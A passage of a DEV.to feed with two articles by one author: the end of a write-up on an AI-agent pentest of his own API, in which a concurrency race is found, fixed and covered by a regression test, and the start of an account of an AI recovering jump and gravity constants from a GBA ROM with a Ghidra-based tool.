    &lt;span class="n"&gt;setWhere&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;eq&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plannedSessions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;spaceId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;spaceId&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;returning&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;plannedSessions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;written&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;IdOwnedElsewhere&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// rolls back; the API answers 409&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When the existing row belongs to another space, &lt;code&gt;setWhere&lt;/code&gt; is false, nothing is updated and &lt;code&gt;returning&lt;/code&gt; gives an empty list. That rolls back the whole batch, and the API answers &lt;code&gt;409&lt;/code&gt; as before. The separate &lt;code&gt;SELECT&lt;/code&gt; is gone. Drizzle's &lt;a href="https://orm.drizzle.team/docs/insert#on-conflict-do-update" rel="noopener noreferrer"&gt;&lt;code&gt;setWhere&lt;/code&gt;&lt;/a&gt; maps to PostgreSQL's &lt;code&gt;ON CONFLICT ... DO UPDATE ... WHERE&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The regression test is a new attack check in the same end-to-end suite: ten pairs of concurrent writes from two spaces, against the real Docker image. Each pair shares one id, and every pair gets a new one, so no pair can interfere with another. It must see one &lt;code&gt;204&lt;/code&gt; and one &lt;code&gt;409&lt;/code&gt; in every pair, and no session with an athlete from another space. Each run started from a fresh database, and no pair hit the rate limit. I ran it on the old code first, to be sure it fails for the right reason:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Code&lt;/th&gt;
&lt;th&gt;Pairs&lt;/th&gt;
&lt;th&gt;Sessions in the wrong space&lt;/th&gt;
&lt;th&gt;Result&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Before the fix&lt;/td&gt;
&lt;td&gt;9 × &lt;code&gt;204/204&lt;/code&gt;, 1 × &lt;code&gt;204/409&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;&lt;code&gt;FAIL&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;After the fix&lt;/td&gt;
&lt;td&gt;10 × &lt;code&gt;204/409&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PASS&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;What was verified after the fix&lt;/th&gt;
&lt;th&gt;Result&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Concurrent same-id writes&lt;/td&gt;
&lt;td&gt;Pass: 10 of 10 pairs &lt;code&gt;204/409&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sessions stored in the wrong space&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rest of the attack suite (auth, plans, goals)&lt;/td&gt;
&lt;td&gt;Pass&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Full re-scan with Strix&lt;/td&gt;
&lt;td&gt;Not run&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The decision went into a new ADR: an ownership check is part of the write, never a separate read before it. Every AI-written change from now on is checked against it.&lt;/p&gt;

&lt;p&gt;I did not re-scan with Strix, because the same model would hit the same filter. &lt;strong&gt;The claim is narrow on purpose: the reproduced attack no longer works under the same conditions.&lt;/strong&gt; Not "the app is secure".&lt;/p&gt;




&lt;h2&gt;
  
  
  Read the coverage report, not the summary
&lt;/h2&gt;

&lt;p&gt;The terminal summary counts filed vulnerabilities. Mine said zero. The files next to it tell you what that zero is worth:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;File&lt;/th&gt;
&lt;th&gt;What it said in my run&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;run.json&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;status: failed&lt;/code&gt;: the run did not finish&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;coverage.json&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;complete: false&lt;/code&gt;, 12 surfaces reviewed (4 no issue, 5 ruled out, 3 follow-ups) and 11 gaps&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Gaps&lt;/td&gt;
&lt;td&gt;Business logic, CSRF, SQL injection and SSRF were assigned to agents that recorded nothing, so they count as unexamined, not clean&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Strix documents this. Its agent guide says a &lt;code&gt;0&lt;/code&gt; exit code only covers what was analyzed and tells you to check &lt;code&gt;run.json&lt;/code&gt; before calling a run clean. &lt;strong&gt;The leads are where the value is&lt;/strong&gt;: the confirmed bug in this test started as a follow-up note, never as a filed vulnerability.&lt;/p&gt;




&lt;h2&gt;
  
  
  Methodology and limitations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The scan was partial.&lt;/strong&gt; The model's safety filter ended it before the agents for business logic, input handling (SQL injection, SSRF) and cross-space access on the remaining endpoints recorded any coverage. Those areas are untested by this run, not passed.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;One run is one sample.&lt;/strong&gt; LLM agents are not deterministic, so another run can follow different paths and find different things.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scope&lt;/strong&gt;: the API and its source, in local Docker with test data. Not tested: any deployed environment, third-party integrations, e-mail flows (sign-up and password reset were off because the test stack has no e-mail delivery) and the mobile client.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Validation&lt;/strong&gt;: a finding counts as confirmed only when I reproduced it by hand against the local API.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cost and time&lt;/strong&gt;: about 18 minutes of agent time, 201 model requests, 15.6M input tokens (3.8M from cache) and 41K output tokens, and no separate API bill. That came from an unofficial subscription-based integration, not a supported or guaranteed free way to run pentests.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No human benchmark&lt;/strong&gt;: this was not compared with a manual pentest, so it says nothing about replacing one.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  The verdict
&lt;/h2&gt;

&lt;p&gt;The measurable part: 12 surfaces reviewed, zero filed vulnerabilities, three leads, one confirmed bug of low severity, two leads ruled out by hand, every attack the agents ran on authentication and tokens rejected, and every sequential cross-account attempt rejected; the one that got through was concurrent. The bug is fixed with a regression test that fails on the old code.&lt;/p&gt;

&lt;p&gt;My opinion, clearly as opinion: the agents were good at the thing I can't do in a test suite, which is reading the code and asking "what if two of these happen at once?". They were also honest about what they hadn't proven. The weak points were not the agents but around them: a model that can refuse mid-scan, and a summary that says zero when the coverage report says incomplete.&lt;/p&gt;

&lt;p&gt;As for the app: the AI appeared to follow the security rules I wrote. The flaw lived in the guarantee I hadn't explicitly required. Every attack that ran against a written rule failed, except one. The rule said "check ownership on every request"; it didn't say where. The check sat in a separate read, and concurrency slipped between the read and the write. Now the rule says "inside the write". Whether the rules hold for SQL injection, SSRF, CSRF and business logic, this run can't say.&lt;/p&gt;

&lt;h2&gt;
  
  
  Takeaway
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Written rules make AI-written code testable.&lt;/strong&gt; The ADRs and instructions told me what each defense was supposed to do, so every failed attack was a check against a rule, not a guess.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;An agent reading the code can spot what one-request-at-a-time tests can't.&lt;/strong&gt; It flagged the race; proving it took two users and concurrency.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The model's provider is part of your scope.&lt;/strong&gt; Without a cyber access program, a frontier model can refuse in the middle of a scan.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Zero findings is not a clean bill of health.&lt;/strong&gt; Check &lt;code&gt;run.json&lt;/code&gt; and the coverage gaps before you trust the summary.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Triage by hand, then prove the fix.&lt;/strong&gt; One lead was real, two were not, and the regression test had to fail before the fix to mean anything.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Do your API tests ever send two requests at the same time? I'd like to know how you test races in the comments.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I'm Diogo Soares, a Staff AI Engineer working on AI agents and legacy modernization. If this was useful, follow me here on DEV.to and on Instagram at &lt;a href="https://instagram.com/diogosoares.dev" rel="noopener noreferrer"&gt;@diogosoares.dev&lt;/a&gt;, where every article becomes a Reel of under a minute. A video walkthrough of this test is coming to my YouTube channel, &lt;a href="https://youtube.com/@diogosoaresdev" rel="noopener noreferrer"&gt;Diogo Soares Dev&lt;/a&gt;, so subscribe there to catch it. Let's also connect on &lt;a href="https://www.linkedin.com/in/diogoschmidtsoares" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;, or check out &lt;a href="https://diogosoares.dev" rel="noopener noreferrer"&gt;diogosoares.dev&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>opensource</category>
      <category>pentest</category>
    </item>
    <item>
      <title>I Let AI Reverse Engineer a GBA ROM. It Found the Gravity, Not the Jump</title>
      <dc:creator>Diogo Soares</dc:creator>
      <pubDate>Mon, 09 Nov 2026 07:54:36 +0000</pubDate>
      <link>https://dev.to/soaresdiogo/i-let-ai-reverse-engineer-a-gba-rom-it-found-the-gravity-not-the-jump-4ilo</link>
      <guid>https://dev.to/soaresdiogo/i-let-ai-reverse-engineer-a-gba-rom-it-found-the-gravity-not-the-jump-4ilo</guid>
      <description>&lt;p&gt;I have one of those retro multi-game consoles with thousands of Atari, Master System and SNES games on it. I copied a single file out of it: &lt;code&gt;Aladdin Game.gba&lt;/code&gt;, 3,987,712 bytes of ARM machine code. No source, no symbols, no documentation.&lt;/p&gt;

&lt;p&gt;Then I asked an AI to tell me how the hero jumps.&lt;/p&gt;

&lt;p&gt;Not "describe the game". I wanted numbers: how fast he walks, how hard gravity pulls him down, what changes when you hold the jump button. The kind of values a game programmer typed into a C file in the early 2000s and that nobody outside that studio has seen since.&lt;/p&gt;

&lt;p&gt;This post covers how that went: the toolkit I used for reverse engineering with AI (an open-source MCP server called REA), what Claude Opus 5.5 actually recovered from the ROM, what it could not find, and the original browser game I built on the recovered physics parameters, since I can't show the real game converted. Here's what came out of that experiment:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fes8g33q5bjx2eswncqkx.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fes8g33q5bjx2eswncqkx.gif" alt="Arena Run GamePlay" width="600" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Why a GBA ROM is hard for reverse engineering with AI
&lt;/h2&gt;

&lt;p&gt;A ROM is not a program in the way a &lt;code&gt;.exe&lt;/code&gt; or a &lt;code&gt;.js&lt;/code&gt; bundle is. There is no executable format to parse, no import table, no function names. The GBA loads it at a fixed address and starts executing.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;What you usually have&lt;/th&gt;
&lt;th&gt;What a GBA ROM gives you&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Function names and symbols&lt;/td&gt;
&lt;td&gt;Nothing. 1,700+ unnamed functions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A file format (PE, ELF, Mach-O)&lt;/td&gt;
&lt;td&gt;A 192-byte header, then raw bytes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Library calls you can recognise&lt;/td&gt;
&lt;td&gt;Writes to memory-mapped hardware registers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Floating point values&lt;/td&gt;
&lt;td&gt;Fixed point integers, &lt;code&gt;0x180&lt;/code&gt; means 1.5 pixels&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;A language model alone can't do much with that. It can't run Ghidra in its head, and if you paste hex into a chat it will guess. &lt;strong&gt;The useful setup is a model that drives a real disassembler and decompiler and has to cite what the tools returned.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That is what REA does.&lt;/p&gt;

&lt;h2&gt;
  
  
  The toolkit: REA, an MCP server for reverse engineering
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://github.com/morluto/rea" rel="noopener noreferrer"&gt;REA (Reverse Engineer Anything)&lt;/a&gt; is an open-source MCP server. It exposes reverse engineering tools to an AI agent: open a binary, list procedures, decompile a function, find who calls it, read bytes, follow cross references. Under the hood it drives &lt;a href="https://github.com/NationalSecurityAgency/ghidra" rel="noopener noreferrer"&gt;Ghidra&lt;/a&gt;, the reverse engineering suite the NSA released as open source in 2019.&lt;/p&gt;

&lt;p&gt;Two things in REA's design matter for this kind of work:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Every result is evidence.&lt;/strong&gt; Each tool call returns an &lt;code&gt;evidence_id&lt;/code&gt;, the SHA-256 of the file analysed, the Ghidra version and a list of limitations. When Claude says "this function sets gravity to &lt;code&gt;0x38&lt;/code&gt;", I can trace it back to a specific decompiler output.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The original file is never modified.&lt;/strong&gt; Ghidra imports an ephemeral copy, and annotations live in a session database that is deleted on close unless you ask for a snapshot.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Getting it running on my Mac took more work than the analysis itself, and REA was honest about each problem:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;My Node was too old for REA, so I installed a newer one.&lt;/li&gt;
&lt;li&gt;Homebrew's Ghidra was too new for REA 6.8.0. REA's doctor command refused it up front instead of failing halfway through an analysis, so I installed Ghidra 12.1.4 next to it.&lt;/li&gt;
&lt;li&gt;The official Ghidra 12.1.4 zip has no native decompiler for Apple Silicon. Claude built it from the C++ source bundled in the zip, after a first build came out as x86_64 and had to be redone for arm64.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Once &lt;code&gt;rea doctor&lt;/code&gt; was green, I registered the server in Claude Code, restarted, and the &lt;code&gt;rea&lt;/code&gt; tools appeared in the session.&lt;/p&gt;

&lt;p&gt;Full disclosure on the order of events: while REA was still refusing my Ghidra version, Claude did a first pass with Ghidra's headless scripts directly. Once REA worked, I had it redo the key steps through REA (load the ROM, the input routine, the gravity step, both state routines and their callers). The key values recovered through REA have evidence records, while supporting findings from the earlier headless analysis (the object layout, the apex flag, the BIOS calls) are identified separately.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1: tell the tools what a GBA is
&lt;/h2&gt;

&lt;p&gt;REA has no GBA loader, so the ROM goes in as a raw binary, and a raw binary needs the architecture and load address from the caller. So the first call was:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"path"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Aladdin Game.gba"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"format"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"raw-binary"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"architecture"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"arm"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"entry_point"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"0x08000000"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;0x08000000&lt;/code&gt; is where the GBA maps the cartridge ROM, so every address in this post starts with &lt;code&gt;08&lt;/code&gt;. The header confirmed what the file was: title &lt;code&gt;ALADDIN&lt;/code&gt;, game code &lt;code&gt;BADP&lt;/code&gt;, where the final &lt;code&gt;P&lt;/code&gt; marks the European release. It is the Capcom port of the SNES game, released in Europe in March 2004.&lt;/p&gt;

&lt;p&gt;Ghidra's auto-analysis found 1,732 procedures and 448 strings. In the first headless pass, almost all the code turned out to be Thumb, the GBA's compact 16-bit instruction set, which is what a C compiler of that era produced. The ROM also calls the GBA BIOS for LZ77 decompression, division and square roots, and waits for each vertical blank before drawing the next frame.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2: find the controller
&lt;/h2&gt;

&lt;p&gt;On the GBA the buttons are a single 16-bit hardware register at &lt;code&gt;0x04000130&lt;/code&gt;, called &lt;code&gt;KEYINPUT&lt;/code&gt;. It is active-low: a bit is &lt;code&gt;0&lt;/code&gt; while the button is pressed. Any game that reads input reads that address.&lt;/p&gt;

&lt;p&gt;Claude followed the references to that register and landed on a small function at &lt;code&gt;0x08014d9c&lt;/code&gt;. It reads &lt;code&gt;KEYINPUT&lt;/code&gt;, inverts it, and remaps the ten GBA buttons bit by bit into a layout of the game's own. My hypothesis, and I mark it as one, is that this is a porting layer: the game logic came from the SNES version and expects SNES-style button bits, so the GBA port translates its buttons at the door.&lt;/p&gt;

&lt;p&gt;That one function mattered because every routine that later asks "is jump held?" reads its output, not the hardware.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3: find gravity
&lt;/h2&gt;

&lt;p&gt;This is where the AI earned its keep. Searching 1,700 nameless functions by hand for "the jump" is days of work. Claude went the other way: look for a small function that adds one field of an object to another every frame.&lt;/p&gt;

&lt;p&gt;It found it at &lt;code&gt;0x08010024&lt;/code&gt;. Cleaned up, with my names instead of Ghidra's, it does this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="c1"&gt;// 0x08010024, called once per frame for objects affected by gravity&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;apply_gravity&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;GameObject&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;object&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;object&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;velocity_y&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;object&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;gravity&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;   &lt;span class="c1"&gt;// +0x30 += byte at +0x34&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The offsets, together with what the headless pass found in the surrounding routines, gave the object layout: X position at &lt;code&gt;+0x10&lt;/code&gt;, Y at &lt;code&gt;+0x14&lt;/code&gt;, horizontal velocity at &lt;code&gt;+0x28&lt;/code&gt;, vertical velocity at &lt;code&gt;+0x30&lt;/code&gt;, and a one-byte gravity at &lt;code&gt;+0x34&lt;/code&gt;. Positions use 1/256 of a pixel per unit, a common fixed-point choice on hardware without floating point.&lt;/p&gt;

&lt;p&gt;REA's &lt;code&gt;procedure_callers&lt;/code&gt; listed ten functions that call this gravity step. One of them, at &lt;code&gt;0x0800EFA0&lt;/code&gt;, was decompiled in the headless pass: it flips a "rising" or "falling" flag when vertical speed crosses &lt;code&gt;0x80&lt;/code&gt;. That is the apex of the jump.&lt;/p&gt;

&lt;p&gt;The next question was who writes the gravity byte. The answer was a player state routine at &lt;code&gt;0x08018EE0&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Simplified from Ghidra's output for 0x08018EE0&lt;/span&gt;
&lt;span class="n"&gt;player&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;gravity&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x38&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;other&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;flag_18&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;player&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;flags_32&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0x80&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;another_flag&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;player&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;gravity&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x80&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the player has two gravities. My guess is that bit 7 of &lt;code&gt;+0x32&lt;/code&gt; means airborne. The lighter one (&lt;code&gt;0x38&lt;/code&gt;, less than half of &lt;code&gt;0x80&lt;/code&gt;) is the default inside this routine. Variable jump height in platformers is usually built exactly like this: light gravity while you keep holding the button, heavy gravity once you let go. &lt;strong&gt;I implemented it that way, but the exact meaning of those flags is my reading of the code, not something the ROM states.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 4: find the run speed
&lt;/h2&gt;

&lt;p&gt;The same cluster of player routines (between &lt;code&gt;0x08018348&lt;/code&gt; and &lt;code&gt;0x0801ADC4&lt;/code&gt;, mapped in the headless pass) had one more gift. The routine at &lt;code&gt;0x080191E0&lt;/code&gt; caps horizontal velocity:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Simplified from Ghidra's output for 0x080191E0&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;flag_19&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;player&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;velocity_x&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mh"&gt;0x180&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;player&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;velocity_x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x180&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;player&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;velocity_x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x200&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I read &lt;code&gt;flag_19&lt;/code&gt; as the run button, but that is an interpretation. &lt;code&gt;0x180&lt;/code&gt; is 1.5 pixels per frame, &lt;code&gt;0x200&lt;/code&gt; is 2 pixels per frame. At 60 frames per second that is 90 and 120 pixels per second on a 240-pixel-wide screen.&lt;/p&gt;

&lt;h2&gt;
  
  
  What it found and what it didn't
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Result&lt;/th&gt;
&lt;th&gt;Source&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Walk speed cap&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;0x180&lt;/code&gt; (1.5 px/frame)&lt;/td&gt;
&lt;td&gt;ROM, &lt;code&gt;0x080191E0&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Run speed&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;0x200&lt;/code&gt; (2 px/frame)&lt;/td&gt;
&lt;td&gt;ROM, &lt;code&gt;0x080191E0&lt;/code&gt; (my reading of the flag)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Light gravity&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;0x38&lt;/code&gt; per frame&lt;/td&gt;
&lt;td&gt;ROM, &lt;code&gt;0x08018EE0&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
